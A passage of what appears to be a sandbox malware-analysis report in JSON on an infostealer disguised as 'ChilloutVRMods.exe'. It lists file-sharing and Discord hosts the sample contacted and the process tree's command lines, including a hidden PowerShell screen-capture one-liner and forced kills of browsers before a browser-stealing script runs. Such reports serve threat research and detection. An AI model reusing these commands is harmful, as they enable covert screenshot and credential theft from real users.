ofile.io","to_key":"Ip:94.139.32.11"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:store4.gofile.io"},{"edge_kind":"resolves_to","from_key":"Domain:store4.gofile.io","to_key":"Ip:45.112.123.230"},{"edge_kind":"contacted_url","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Url:/simple/pycryptodome/"},{"edge_kind":"contacted_url","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Url:/simple/pywin32/"},{"edge_kind":"contacted_url","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Url:/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl"},{"edge_kind":"contacted_url","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Url:/packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Url:/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","edges":[{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:02f0e53fdda9197491f06b23f60eacc2c262adb14490ef49772c5ef799ced124"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:384993b2b8cfcbf155e63f0ee2383a9f9483de92ab73736ff84590a0c4ca2690"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:16480ede0430be5249481a9bfb843eb0ef98f93b467a5428352fc23cc8c9051d"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:e02233348ab5fe827ee3221b4a7fee57a46499d428fb47f9a8dbd703c178183f"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:831ba87cb1a91d4581f0abbcc4966c6f4b332536f70cf481f609c44cc3d987c2"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:7497fbdbb98afca4ac455e3a057c59bcdebaf1280e25c94741dc301f05cb53e5"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:8d5e09791b8b251676e16bdd66a7118d88b10b66ad80a87d5897fadbefb91790"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:04e7ccbdcad7cbaf0ed28692fb08eab832c38aad9071749037ee7a58f45e9d7d"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:cf0edfd508d11bffb63d1b104b6099e0f14ea0fada762f88364e7163f2185f06"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:32c09c38867d9fe04cc2ca64c8653556ed8a28a3da113fd61da3ed2b56bb87ba"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:000486aaac9dd21e88b3dc65fd854dd83519b1fbcc224a70530bc3ec8cbd1a5d"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:fe5666c1c8215cd2773744c815fb4a3b2f52f64cf0dde25d458441da22bf5568"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:728d21be4d47dd664caf9fa60c1369fe059bc0498edd383b27491d0dee23e439"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:a72ceee8f605810ad7394a51fbbad37552cabb18e96b3c155764749b193db341"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:b8586a6d46e43c67377438b43499c863700dea87a51bd97dae41ab97db5beb0e"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:6cdfccca75d997a7035e22747edb9a8699a9097c795e8fa2cdc25f0b19605ac8"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:7b9d76d4a25b95cde44e944683b840bfcb9d581bd4d4b39bb03d78cc7b07bfe7"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:552a0c4d10f2e2f3af0e264a526c41837a8c0de24c29a848d89eb84f2c3e9652"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:f95673803fda1b5411820cd637229c935489ae030c2271376313ded92255aec6"},{"edge_kind":"extracted","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"File:e6d97406ff2496e02d0ec3c6f73d4382d24f222e51bcd70b8776387c43043353"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":45,"spawned_processes_count":45,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":176,"imported_dlls_count":136,"dropped_files_count":0,"extracted_files_count":34,"files_written_count":544,"files_deleted_count":0,"registry_keys_created_count":50,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":50,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":11,"dns_resolutions_count":11,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["windows-server-utility","evasive","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a96fb225c897d9f300020e6","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"ABTrojan.YARL","contacted_countries":["FRA","USA"],"submit_name":"ChilloutVRMods.exe","analysis_start_time":"2026-09-01T16:20:02+00:00","indicators_count":{"informative":270,"suspicious":92,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"34.117.59.81","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"162.159.128.233","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"23.55.236.140","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"151.101.64.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"151.101.192.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"160.202.167.55","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"45.112.123.227","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"45.112.123.239","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"94.139.32.11","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"45.112.123.230","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"address":"108.181.20.35","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"dns_resolutions":[{"domain":"api.gofile.io","address":"160.202.167.55","ttl":3600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"catbox.moe","address":"108.181.20.35","ttl":84,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"discord.com","address":"162.159.128.233","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"files.pythonhosted.org","address":"151.101.64.223","ttl":19489,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"globalcdn.nuget.org","address":"23.55.236.140","ttl":3242,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"ipinfo.io","address":"34.117.59.81","ttl":22,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"pypi.org","address":"151.101.64.223","ttl":19182,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"store1.gofile.io","address":"45.112.123.227","ttl":2847,"country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"store2.gofile.io","address":"45.112.123.239","ttl":2259,"country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"store3.gofile.io","address":"94.139.32.11","ttl":3548,"country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"domain":"store4.gofile.io","address":"45.112.123.230","ttl":3289,"country":"France","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"http_requests":[{"host":"pypi.org","host_ip":"151.101.64.223:443","url":"/simple/pycryptodome/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /simple/pycryptodome/ HTTP/1.1\nHost: pypi.org\nUser-Agent: pip/21.2.3 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.10.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"21.2.3\"},\"openssl_version\":\"OpenSSL 1.1.1l 24 Aug 2021\",\"python\":\"3.10.0\",\"setuptools_version\":\"57.4.0\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: gzip, deflate\nAccept: text/html\nConnection: keep-alive\nCache-Control: max-age=0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"host":"pypi.org","host_ip":"151.101.64.223:443","url":"/simple/pywin32/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /simple/pywin32/ HTTP/1.1\nHost: pypi.org\nUser-Agent: pip/21.2.3 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.10.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"21.2.3\"},\"openssl_version\":\"OpenSSL 1.1.1l 24 Aug 2021\",\"python\":\"3.10.0\",\"setuptools_version\":\"57.4.0\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: gzip, deflate\nAccept: text/html\nConnection: keep-alive\nCache-Control: max-age=0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.192.223:443","url":"/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/21.2.3 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.10.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"21.2.3\"},\"openssl_version\":\"OpenSSL 1.1.1l 24 Aug 2021\",\"python\":\"3.10.0\",\"setuptools_version\":\"57.4.0\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.192.223:443","url":"/packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/21.2.3 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.10.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"21.2.3\"},\"openssl_version\":\"OpenSSL 1.1.1l 24 Aug 2021\",\"python\":\"3.10.0\",\"setuptools_version\":\"57.4.0\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.192.223:443","url":"/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/21.2.3 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.10.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"21.2.3\"},\"openssl_version\":\"OpenSSL 1.1.1l 24 Aug 2021\",\"python\":\"3.10.0\",\"setuptools_version\":\"57.4.0\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}],"processes":[{"pid":7912,"ppid":0,"name":"ChilloutVRMods.exe","command_line":"","sha256":"70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","normalized_path":"C:\\ChilloutVRMods.exe","uid":"00000000-00007912","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC"},{"pid":4592,"ppid":7912,"name":"zeppskdd.exe","command_line":"","sha256":"b377fb7c454dea093ba4c63040f6177dd6a1ef7cf623497c043a9ce631e5d0b4","normalized_path":"%TEMP%\\zeppskdd.exe","parent_uid":"00000000-00007912","uid":"00000000-00004592"},{"pid":1732,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command \"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();\"\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00001732"},{"pid":5884,"ppid":1732,"name":"powershell.exe","command_line":"powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command \"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001732","uid":"00000000-00005884"},{"pid":8912,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"cscript //nologo //B \"%TEMP%\\system_check_1788280749172.vbs\"\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00008912"},{"pid":4004,"ppid":8912,"name":"cscript.exe","command_line":"cscript //nologo //B \"%TEMP%\\system_check_1788280749172.vbs\"","sha256":"6d607a3f1baa41b962d011447117215d005da42332c19c3d0fc613bde95e3125","normalized_path":"%WINDIR%\\system32\\cscript.exe","parent_uid":"00000000-00008912","uid":"00000000-00004004"},{"pid":636,"ppid":4592,"name":"python.exe","command_line":"-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pycryptodome","sha256":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954","normalized_path":"%TEMP%\\WinGet\\tools\\python.exe","parent_uid":"00000000-00004592","uid":"00000000-00000636"},{"pid":3436,"ppid":636,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00000636","uid":"00000000-00003436"},{"pid":7668,"ppid":4592,"name":"python.exe","command_line":"-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pywin32","sha256":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954","normalized_path":"%TEMP%\\WinGet\\tools\\python.exe","parent_uid":"00000000-00004592","uid":"00000000-00007668"},{"pid":7200,"ppid":7668,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007668","uid":"00000000-00007200"},{"pid":8784,"ppid":4592,"name":"python.exe","command_line":"-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q PythonForWindows","sha256":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954","normalized_path":"%TEMP%\\WinGet\\tools\\python.exe","parent_uid":"00000000-00004592","uid":"00000000-00008784"},{"pid":5596,"ppid":8784,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008784","uid":"00000000-00005596"},{"pid":3736,"ppid":4592,"name":"python.exe","command_line":"%LOCALAPPDATA%\\btwStealer-local\\output\\browser_forensics.py","sha256":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954","normalized_path":"%TEMP%\\WinGet\\tools\\python.exe","parent_uid":"00000000-00004592","uid":"00000000-00003736"},{"pid":4388,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00004388"},{"pid":7420,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM brave.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00007420"},{"pid":8680,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM msedge.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00008680"},{"pid":6084,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM opera.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00006084"},{"pid":6456,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM opera.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00006456"},{"pid":2056,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00002056"},{"pid":8480,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00008480"},{"pid":8372,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00008372"},{"pid":8568,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM vivaldi.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00008568"},{"pid":1072,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM browser.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00001072"},{"pid":2300,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM 